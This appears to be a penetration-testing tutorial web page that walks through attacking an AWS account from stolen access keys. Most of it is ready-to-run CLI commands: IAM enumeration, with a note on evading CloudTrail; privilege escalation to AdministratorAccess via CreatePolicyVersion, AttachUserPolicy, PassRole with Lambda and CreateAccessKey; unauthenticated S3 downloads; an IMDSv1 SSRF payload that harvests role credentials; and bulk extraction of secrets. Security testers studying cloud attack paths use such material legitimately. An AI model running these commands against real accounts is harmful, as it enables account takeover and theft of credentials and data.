AWS Penetration Testing Guide: IAM Enumeration, Privilege Escalation, and Data Exfiltration
AWS penetration testing requires a fundamentally different mindset from traditional network testing. The attack surface is API-driven, permissions are granular and often misconfigured, and the blast radius of a single compromised IAM credential can be enormous. This guide covers the methodology from initial access to data exfiltration.
Scope and Rules of Engagement
AWS has a penetration testing policy — certain services require pre-authorisation. Always verify your scope before testing. Notably, you do not need to notify AWS for testing against your own resources or resources you have explicit written permission to test, but DDoS simulation and DNS zone walking against Route 53 require prior approval.
Phase 1: Initial Enumeration with AWS CLI
Starting with a set of compromised access keys, determine what you have access to:
# Identify the calling identity (who am I?)
aws sts get-caller-identity
# Check all attached policies for the current user/role
aws iam list-attached-user-policies --user-name compromised-user
aws iam list-user-policies --user-name compromised-user # inline policies
# Enumerate all users, roles, and groups
aws iam list-users
aws iam list-roles
aws iam list-groups
# List all policies in the account
aws iam list-policies --scope Local # customer-managed only
# Get the policy document (what permissions does it grant?)
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1
Phase 2: IAM Permission Enumeration
Use simulate-principal-policy to determine what actions are allowed without triggering CloudTrail events for those specific API calls:
# Simulate permissions for a set of actions
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/compromised-user --action-names "iam:CreateUser" "iam:AttachUserPolicy" "s3:GetObject" "ec2:DescribeInstances"
# Use enumerate-iam (automated brute-force of allowed actions)
# https://github.com/andresriancho/enumerate-iam
python3 enumerate-iam.py --access-key AKIA... --secret-key SECRET...
# Pacu — AWS exploitation framework
import_keys compromised-user
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
Phase 3: Common Privilege Escalation Paths
IAM privilege escalation occurs when a low-privilege user can perform actions that result in gaining higher privileges. Rhino Security Labs documented 21 paths — here are the most common:
# Path 1: CreatePolicyVersion — update an existing policy to grant AdministratorAccess
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-default
# Path 2: AttachUserPolicy — attach AdministratorAccess to yourself
aws iam attach-user-policy --user-name compromised-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Path 3: PassRole + Lambda — create a Lambda function with an admin role
aws lambda create-function --function-name privesc-func --runtime python3.11 --role arn:aws:iam::123456789012:role/AdminRole --handler index.handler --zip-file fileb://payload.zip
# Invoke the function (which runs as AdminRole)
aws lambda invoke --function-name privesc-func /tmp/output.json
# Path 4: iam:CreateAccessKey — generate keys for another user
aws iam create-access-key --user-name admin-user
Phase 4: S3 Bucket Misconfigurations
# List all S3 buckets in the account
aws s3 ls
# Check bucket ACL (public read/write)
aws s3api get-bucket-acl --bucket target-bucket
# Check bucket policy
aws s3api get-bucket-policy --bucket target-bucket
# Test unauthenticated access (no credentials)
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp s3://target-bucket/sensitive.txt /tmp/ --no-sign-request
# Check for public access block settings
aws s3api get-public-access-block --bucket target-bucket
# List objects recursively
aws s3 ls s3://target-bucket --recursive | grep -i "password\|secret\|key\|backup\|\.sql\|\.env"
Phase 5: EC2 IMDS Exploitation
The Instance Metadata Service (IMDS) is accessible at 169.254.169.254 from any EC2 instance. IMDSv1 requires no authentication and is exploitable via SSRF:
# IMDSv1 — direct access (no token required)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
# IMDSv1 SSRF — via a vulnerable web app
# The SSRF payload is simply the URL: http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Response contains temporary credentials:
# AccessKeyId, SecretAccessKey, Token, Expiration
# Use the retrieved credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
See our dedicated Cloud Metadata Exploitation guide for IMDSv2 bypass techniques and GCP/Azure equivalents.
Phase 6: Secrets Discovery
# Search CloudTrail for sensitive API calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue --max-results 50
# List all SSM Parameter Store parameters (may include plaintext secrets)
aws ssm describe-parameters
aws ssm get-parameter --name /prod/db/password --with-decryption
# List Secrets Manager secrets
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/app/credentials
# Search Lambda environment variables for secrets
aws lambda list-functions --query 'Functions[*].FunctionName' --output text | xargs -I{} aws lambda get-function-configuration --function-name {} | grep -i "password\|secret\|key\|token"
# Check EC2 user-data for hardcoded credentials
aws ec2 describe-instances --query 'Reservations[*].Instances[*].InstanceId' --output text | xargs -I{} aws ec2 describe-instance-attribute --instance-id {} --attribute userData
The Cloud Infrastructure Attack Generator builds AWS-specific attack chains from your entry point. For complete cloud enumeration workflows, check the Recon Hub. Combine with DNS Enumeration to discover shadow IT and forgotten AWS subdomains.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides